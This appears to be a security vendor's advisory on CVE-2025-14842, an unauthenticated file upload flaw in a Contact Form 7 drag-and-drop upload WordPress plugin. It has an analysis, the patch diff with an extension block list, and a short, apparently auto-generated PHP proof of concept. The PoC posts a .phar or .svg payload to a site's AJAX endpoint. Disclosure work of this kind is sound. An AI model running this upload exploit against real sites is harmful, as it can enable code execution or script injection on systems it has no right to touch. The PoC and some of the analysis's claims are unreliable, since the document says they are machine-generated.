Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14842: Drag and Drop Multiple File Upload – Contact Form 7 <= 1.3.9.2 – Unauthenticated Limited Arbitrary File Upload (drag-and-drop-multiple-file-upload-contact-form-7)

Severity Medium (CVSS 6.1)
CWE 434
Vulnerable Version 1.3.9.2
Patched Version 1.3.9.3
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14842:
This vulnerability is an unauthenticated arbitrary file upload in the Drag and Drop Multiple File Upload – Contact Form 7 WordPress plugin. The plugin failed to block .phar and .svg file extensions, allowing attackers to upload malicious files. The CVSS score is 6.1, indicating a medium severity issue.

The root cause is the absence of .phar and .svg extensions in the plugin’s file type validation blacklist. The vulnerable validation logic resided in the `dnd_cf7_upload_file` function within `/inc/dnd-upload-cf7.php`. The function `dnd_cf7_validate_type` (line ~1125) used a `$not_allowed` array that did not include ‘phar’ or ‘svg’. Additionally, the `.htaccess` file generation in the `dnd_cf7_create_htaccess` function (line ~108) only blocked .php files, not .phar files.

Exploitation involves an unauthenticated POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `dnd_cf7_upload`. The attacker supplies a file upload via the `dnd_cf7_upload` field. The payload is a file with a .phar or .svg extension containing malicious PHP or JavaScript code. The server processes the request without requiring authentication or a valid security nonce, as the `dnd_cf7_delete_file` function (line ~1020) validates the nonce but the upload function does not.

The patch introduces multiple fixes. It adds a new function, `dnd_cf7_not_allowed_ext` (line ~1126), which explicitly includes ‘svg’ and ‘phar’ in a comprehensive blacklist. The file validation logic in `dnd_cf7_upload_file` (lines ~928-941) is updated to use `wp_check_filetype` and check against this blacklist, especially when the supported file type is set to ‘*’. The `.htaccess` file generation (lines ~105-113) is updated to use a `FilesMatch` directive denying access to files matching the pattern `.(php|phar)$`. The patch also improves path sanitization and unique ID validation.

Successful exploitation leads to limited arbitrary file upload. An uploaded .phar file could lead to remote code execution if the server is configured to execute .phar files as PHP and the attacker can access the file directly. An uploaded .svg file containing JavaScript could lead to stored cross-site scripting if the SVG is rendered by a victim’s browser. The impact is constrained by the plugin’s upload directory structure and the `.htaccess` restrictions, but the missing .phar block in `.htaccess` and the missing validation for both extensions created the vulnerability.

Differential between vulnerable and patched code

Code Diff
--- a/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
@@ -6,7 +6,7 @@
 	* Description: This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.
 	* Text Domain: drag-and-drop-multiple-file-upload-contact-form-7
 	* Domain Path: /languages
-	* Version: 1.3.9.2
+	* Version: 1.3.9.3
 	* Author: Glen Don L. Mongaya
 	* Author URI: http://codedropz.com
 	* License: GPL2
@@ -21,7 +21,7 @@
 	define( 'dnd_upload_cf7', true );

 	/**  Define plugin Version */
-	define( 'dnd_upload_cf7_version', '1.3.9.2' );
+	define( 'dnd_upload_cf7_version', '1.3.9.3' );

 	/**  Define constant Plugin Directories  */
 	define( 'dnd_upload_cf7_directory', untrailingslashit( dirname( __FILE__ ) ) );
--- a/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
@@ -105,7 +105,13 @@

 			if ( ! file_exists( $htaccess_file ) ) {
 				if ( $handle = fopen( $htaccess_file, 'w' ) ) {
-					fwrite( $handle, "Options -Indexes n <Files *.php> n deny from all n </Files>" );
+					fwrite(
+						$handle,
+						"Options -Indexesnn" .
+						"<FilesMatch "\.(php|phar)$">n" .
+						"    Deny from alln" .
+						"</FilesMatch>n"
+					);
 					fclose( $handle );
 				}
 			}
@@ -200,7 +206,7 @@
 					if ( is_array( $posted_data ) ) {
 						foreach( $posted_data[$field_name] as $key => $file ) {
 							if ( $send_link || strpos( dirname($file), 'wpcf7-files' ) !== false ) {
-								$file = wp_basename( $file ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
+								//$file = wp_basename( $file ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
 							}
 							$posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
 						}
@@ -249,24 +255,26 @@

 	// Get folder path
 	function dnd_get_upload_dir( $dir = false ) {
-		$upload        = wp_upload_dir();
-		$uploads_dir   = wpcf7_dnd_dir . '/wpcf7-files';
+		$upload      = wp_upload_dir();
+		$uploads_dir = wpcf7_dnd_dir . '/wpcf7-files';

-		// Add random folder.
+		// Send file as links is enabled.
+		if ( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' ) {
+			$uploads_dir = wpcf7_dnd_dir; // return the define/default path dir.
+		}
+
+		// Setup random/unique folder, only created if user uploading.
 		if ( true === $dir ) {
 			$unique_id = dnd_cf7_get_unique_id();
-			if ( $unique_id ) {
-				$random_folder = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
-				$uploads_dir   = $uploads_dir .'/'. sanitize_file_name( $random_folder ); // Sanitize File Name Aug 2025
+			if ( ! empty( $unique_id ) ) {
+				$unique_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
+				if ( '' !== $unique_id ) {
+					$uploads_dir = trailingslashit( $uploads_dir ) . sanitize_file_name( $unique_id );
+				}
 			}
 		}

-		// If save as attachment ( also : Check if upload use year and month folders )
-		if( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' ) {
-			$uploads_dir = ( get_option('uploads_use_yearmonth_folders') ? wpcf7_dnd_dir . $upload['subdir'] : wpcf7_dnd_dir );
-		}
-
-		// Create directory
+		// Create directory if not exists.
 		if ( ! is_dir( trailingslashit( $upload['basedir'] ) . $uploads_dir ) ) {
 			wp_mkdir_p( trailingslashit( $upload['basedir'] ) . $uploads_dir );
             chmod( trailingslashit( $upload['basedir'] ) . $uploads_dir, 0755 );
@@ -355,7 +363,7 @@
 		$_mail = 0;

 		// Check If send attachment as link
-		if( ! dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
+		if( dnd_cf7_settings('drag_n_drop_mail_attachment') !== 'yes' ) {
 			return $wpcf7;
 		}

@@ -881,7 +889,10 @@
         }

         // Get blacklist Types
-        $blacklist_types = ( isset( $blacklist["$cf7_upload_name"] ) ?  explode( '|', $blacklist["$cf7_upload_name"] ) : '' );
+		$blacklist_types = dnd_cf7_not_allowed_ext();
+		if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
+			$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
+		}

 		// Get upload dir
 		$path = dnd_get_upload_dir( true ); // ok
@@ -917,10 +928,19 @@
         // Check unique name
         $filename = wp_unique_filename( $path['upload_dir'], $filename );

-        // Validate File Types
-        if( $blacklist_types && in_array( $extension, $blacklist_types ) && $supported_type == '*' ){
-            wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ? dnd_cf7_settings('drag_n_drop_error_invalid_file') : dnd_cf7_error_msg('invalid_type') );
-        }
+        // Validate File Types (if supported type is set to "*")
+		if ( $supported_type == '*' ) {
+			$file_type          = wp_check_filetype( $file['name'] );
+			$not_allowed_ext    = array( 'phar', 'svg',  ); // not allowed file type.
+			$type_ext           = ( $file_type['ext'] !== false ? strtolower( $file_type['ext'] ) : $extension );
+			$error_invalid_type = dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type');
+
+			if ( ! empty( $blacklist_types ) && in_array( $type_ext, $blacklist_types, true ) ) {
+				wp_send_json_error( $error_invalid_type );
+			} elseif ( in_array( $type_ext, $not_allowed_ext, true ) ) {
+				wp_send_json_error( $error_invalid_type );
+			}
+		}

 		// validate file type
 		if ( ( ! preg_match( $file_type_pattern, $file['name'] ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
@@ -1020,7 +1040,7 @@

 		// check and verify ajax request.
         if( ! check_ajax_referer( 'dnd-cf7-security-nonce', 'security', false ) ) {
-            wp_send_json_error('The security nonce is invalid or expired.');
+        	wp_send_json_error('The security nonce is invalid or expired.');
         }

 		// Block curl request.
@@ -1031,11 +1051,6 @@
 		// Sanitize Path.
 		$path = ( isset( $_POST['path'] ) ? sanitize_text_field( $_POST['path'] ) : null );

-		// Use only filename
-		if ( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' || strpos( dirname( $path ), 'wpcf7-files' ) !== false ) {
-			$path = wp_basename( $path ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
-		}
-
 		// Make sure path is set
 		if ( ! is_null( $path ) ) {

@@ -1050,11 +1065,14 @@
 			$file_name      = wp_basename( $path ); // added Aug 2025
 			$current_path   = $dir['upload_dir'] .'/'. sanitize_file_name( $unique_id ) .'/'. $file_name;

-			// Show an error
-			if ( 'yes' !== dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
-				if ( ( $unique_id && $unique_id !== $current_folder ) || ! file_exists( $current_path ) || preg_match( '#..[/\\]#', $path ) ) {
-					wp_send_json_error( 'Error: Unauthorized Request!' );
-				}
+			// Validate unique id.
+			if ( empty( $unique_id ) || ! preg_match( '/^(?!.{1,2}$)[a-zA-Z0-9_-]+$/', (string) $unique_id ) ) {
+				wp_send_json_error( 'Error: Invalid Request.' );
+			}
+
+			// Validate cookie and current_folder to ensure they match.
+			if ( ( $unique_id !== $current_folder ) || ! file_exists( $current_path ) || preg_match( '#..[/\\]#', $path ) ) {
+				wp_send_json_error( 'Error: Unauthorized Request!' );
 			}

 			// Concatenate path and upload directory
@@ -1107,16 +1125,21 @@
 		return $file_type_pattern;
 	}

+	// list of not allowed extensions.
+	function dnd_cf7_not_allowed_ext() {
+		return array( 'svg', 'phar', 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+	}
+
 	// Add more validation for file extension
 	function dnd_cf7_validate_type( $extension, $supported_types ) {
 		$valid = true;
 		$extension = preg_replace( '/[^A-Za-z0-9,|_]/', '', $extension );

 		// not allowed file types
-		$not_allowed = array( 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+		$not_allowed = dnd_cf7_not_allowed_ext();

 		// allowed ext.
-		$allowed_ext = array('ipt');
+		$allowed_ext = apply_filters( 'dnd_cf7_allowed_ext', array( 'ipt' ) );

 		// Search in $not_allowed extension and match
 		foreach( $not_allowed as $single_ext ) {
@@ -1143,7 +1166,18 @@
 			echo '<h1>' . esc_html__( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ) . '</h1>';

 				echo '<div class="update-nag notice" style="width: 98%;padding: 0px 10px;margin-bottom: 5px;">';
-				echo '<p>' . sprintf( esc_html__( '%1$sUpgrade Now%2$s for Extra Features: Explore the %3$sPro Version%4$s Today!', 'drag-and-drop-multiple-file-upload-contact-form-7' ),'<span style="color:#038d03;">','</span>','<a href="https://codedropz.com/purchase-plugin/" target="_blank">','</a>') . '</p>';
+				echo '<p>';
+				echo sprintf(
+					esc_html__( '🔥 %1$sUpgrade Now%2$s for Extra Features: Explore the %3$sPro Version%4$s Today!', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+					'<span style="color:#038d03;">','</span>',
+					'<a href="https://codedropz.com/purchase-plugin/" target="_blank">','</a>',
+					);
+				echo ' | ';
+				echo sprintf(
+					esc_html__( '🚀 Try Our New Plugin: %sEasy File Upload & Approval%s', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+					'<a href="https://wordpress.org/plugins/easy-file-upload-approval/" target="_blank">','</a>'
+				);
+				echo '</p>';
 				echo '</div>';

 				// Error settings
@@ -1376,12 +1410,7 @@

 	// Generate cookie (Cookie expiration 12 Hours)
 	function dnd_cf7_generate_cookie() {
-
-		// if file send as link don't generate cookie as folder will added to /uploads/year/month
-		if ( 'yes' === dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
-			return;
-		}
-		?>
+	?>
 		<script type="text/javascript">
 			function dnd_cf7_generateUUIDv4() {
 				const bytes = new Uint8Array(16);
@@ -1398,7 +1427,7 @@
 				}
 			});
 		</script>
-		<?php
+	<?php
 	}

 	// Get current language (Polylang & WPML)

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14842 - Drag and Drop Multiple File Upload – Contact Form 7 <= 1.3.9.2 - Unauthenticated Limited Arbitrary File Upload
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$malicious_file_path = './exploit.phar'; // Create a .phar or .svg file with malicious payload

// Prepare the POST data
$post_fields = [
    'action' => 'dnd_cf7_upload', // The vulnerable AJAX action
    // The 'dnd_cf7_upload' field is the file upload parameter name used by the plugin
];

// Create a CURLFile object for the malicious file
$cfile = new CURLFile($malicious_file_path);
$post_fields['dnd_cf7_upload'] = $cfile;

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful upload returns a JSON response containing the file URL.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School